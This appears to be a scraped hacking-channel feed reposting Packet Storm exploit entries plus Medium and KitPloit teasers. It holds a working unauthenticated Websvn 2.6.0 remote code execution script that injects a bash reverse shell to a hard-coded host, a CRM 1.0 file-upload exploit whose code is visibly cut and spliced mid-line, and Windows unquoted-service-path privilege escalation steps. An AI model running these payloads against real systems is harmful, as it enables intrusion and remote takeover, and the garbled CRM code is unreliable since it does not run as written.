Exploit Collector
Customer Relationship Management System 1.0 Remote Code Execution

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Customer Relationship Management System version 1.0 suffers from a remote code execution vulnerability.

MD5 | 99340adb5ad46f21eb2f6d0bdb63c633

Download
# Exploit Title: Customer Relationship Management System (CRM) 1.0 - Remote Code Execution
# Date: 21.06.2021
# Exploit Author: Ishan Saha
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/crm_0.zip
# Version: 1.x
# Tested on: Ubuntu

# REQUREMENTS #
# run pip3 install requests colorama beautifulsoup4

# DESCRIPTION #

# # Customer relationship management system is vulnerable to malicious file upload on account update option & customer create option

# # Exploit Working:
# # 1. Starting a session with the server
# # 2. Registering a user hackerctf : hackerctf and adding payload in image
# # 3. Finding the uploaded file location in the username image tag
# # 4. Runing the payload file to give a shell
#!/usr/bin/python3
import requests , time
from bs4 import BeautifulSoup as bs
from colorama import Fore, Back, Style

# Variables : change the URL according to need
URL="http://192.168.0.245/crm/" # CHANGE THIS
shellcode = ">> "+ Fore.RESET)
if cmd == 'exit':
break
print(ShellSession.get(location + "?cmd="+cmd).content.decode())

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Websvn 2.6.0 Remote Code Execution

https://3.bp.blogspot.com/-4JQvP0m8T2k/WWlu48OEwdI/AAAAAAAAII8/Zf-K1JUBYisUlMBEUhCPF3Gl3BdQ2zG_gCLcBGAs/s1600/h103.png
Websvn version 2.6.0 suffers from a remote code execution vulnerability.

MD5 | 6ae7383ff4fe81d3446640a77cf479db

Download
# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305

import requests
import argparse
from urllib.parse import quote_plus

PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'

parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
target = args.target
else:
print("[!] Target should start with either http:// or https://")
exit()

requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))

print("[*] Request send. Did you get what you wanted?")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Wise Care 365 5.6.7.568 Unquoted Service Path

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Wise Care 365 version 5.6.7.568 suffers from an unquoted service path vulnerability.

MD5 | 1e5c422e986035f8e0e5d6d5e68ecce2

Download
# Exploit Title: Wise Care 365 5.6.7.568 - 'WiseBootAssistant' Unquoted Service Path
# Date: 2021-06-18
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.wisecleaner.com/wise-care-365.html
# Software Link: https://downloads.wisecleaner.com/soft/WiseCare365_5.6.7.568.exe
# Version: 5.6.7.568
# Service File Version 1.2.4.54
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path
# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%WiseBootAssistant%"' get displayname, pathname, startmode, startname

DisplayName PathName StartMode StartName
Wise Boot Assistant C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exe Auto LocalSystem

# 2. To check service info:

C:\>sc qc "WiseBootAssistant"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WiseBootAssistant
TIPO : 110 WIN32_OWN_PROCESS (interactive)
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Wise Boot Assistant
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem
# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Hupigon.aaio Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hybrid Analyst Article of the Day: Comparing Ransomware to other Political Tools

https://cdn-images-1.medium.com/max/983/1*5KFT_a2BUzHP6rpJ2m7e3Q.jpeg
The Political Economy of Ransomware — Jenny Jun, War On The Rocks, 6/2/2021

Continue reading on Hybrid Analyst »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hackers Share Their Stories on The Hacker Factory Podcast

I have had the honor of podcasting for ITSPMagazine since February 2020.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Wormable DarkRadiation Ransomware se dirige a instancias de Linux y Docker

https://cdn-images-1.medium.com/max/905/0*es7kgy-douaZTdH4
POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How Sean Parker went from teenage hacker to billionaire

https://cdn-images-1.medium.com/max/1200/0*rKD3slJzhNceeHpF
Sean Parker got his start as a teenage hacker before cofounding Napster in 1999.

Continue reading on Business Insider »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: Retro — Walkthrough

https://cdn-images-1.medium.com/max/804/0*Pckc-0thi0_buu7u
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
HashCheck - Tool To Assist In The Search For Leaked Passwords

https://1.bp.blogspot.com/-rLuvEmIHDNI/YNDoAHqxRpI/AAAAAAAAcxQ/6D5578eD7CIdbOQR_m_UDv8zoxmkSzeCwCNcBGAsYHQ/w640-h394/passwords.jpg This project aims to assist in the search for leaked passwords while maintaining a high level of privacy using the k-anonymity method.

To achieve this, the APIs of different services are used, sending only a part of the Hash of the password we want to check, for example, the first 5 characters. PrerequisitesThe project needs some libraries in order to work, to install it use the next command: pip install -r requirementsRemember that Python 3 is required. Usagepassme.py [FUNC] [ELEMENT] -engine [ENGINE] -api_key [API_KEY]hashes or password separeted by a new line. ENGINE: The leaks engine that you want to be used, by default it uses HIBP (Have I been PWN). API_KEY: The API_KEY necessary for some functions of some engines. ">FUNC: The kind of element tha you want to check, it can be -h/--hash or -p/--password
or -f/--file or -l/--list or --help.

ELEMENT: The "Hash", "Password" or the name of the file that contains a list of
hashes or password separeted by a new line.

ENGINE: The leaks engine that you want to be used, by default it uses HIBP (Have I been PWN).

API_KEY: The API_KEY necessary for some functions of some engines. FunctionsPASSME_HASHThe main project function receives the hashed password, the engine to be used and the API key.

Depending on the engine that is received, both the API key and the hashed password will be sent to one function or another.

If you want to add your own engine or an engine that is not already implemented, simply add one more option here. passme_hash(hashed_password, engine="HIBP", api_key="0")PASSME_PASSWORDThis function hashes the password it receives using SHA-1 and sends the hash to the passme_hash() function. passme_password(password, engine="HIBP", api_key="0")PASSME_FILEThis function reads one by one the lines of the received file to check each password, giving information about the received password and whether it has been filtered or not. passme_file(filename, engine="HIBP", api_key="0")PASSME_LISTThis function reads one by one the lines of the received file to check each hash, giving information about the received hash and whether it has been filtered or not. passme_list(filename, engine="HIBP", api_key="0")PASSME_LISTThe function that deals with the HIBP (Have i been pwned) API, sends the first five characters of the hash, then compares it with the full hash to see if the password/hash has been leaked. engine_HIBP(hashed_password, engine, api_key)TestThis project has a series of tests to check the correct operation of all its functions, for this purpose the "pytest" library has been used. To run the tests, install pytest with the following command: pip install pytestOnce installed, simply run the "pytest" command to have the tests run automatically, any errors encountered will be returned by the terminal.

The results of the test in the lab are the following:
Python Version Function Hash Function List Function Password RANDOM Hash RANDOM Password Comment 3.9
✅

✅

✅

✅

✅
3.8
✅

✅

✅

✅

✅
3.7
✅

✅

✅

✅

✅
3.6
✅

✅

✅

✅

✅
3.5
✅

✅

✅

❌

❌
Random.choice is not available in Python 3.5 // Deprecated Python Version ContactTHE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT [...]

___________________________
@hacking_Attack
@Hacking_Video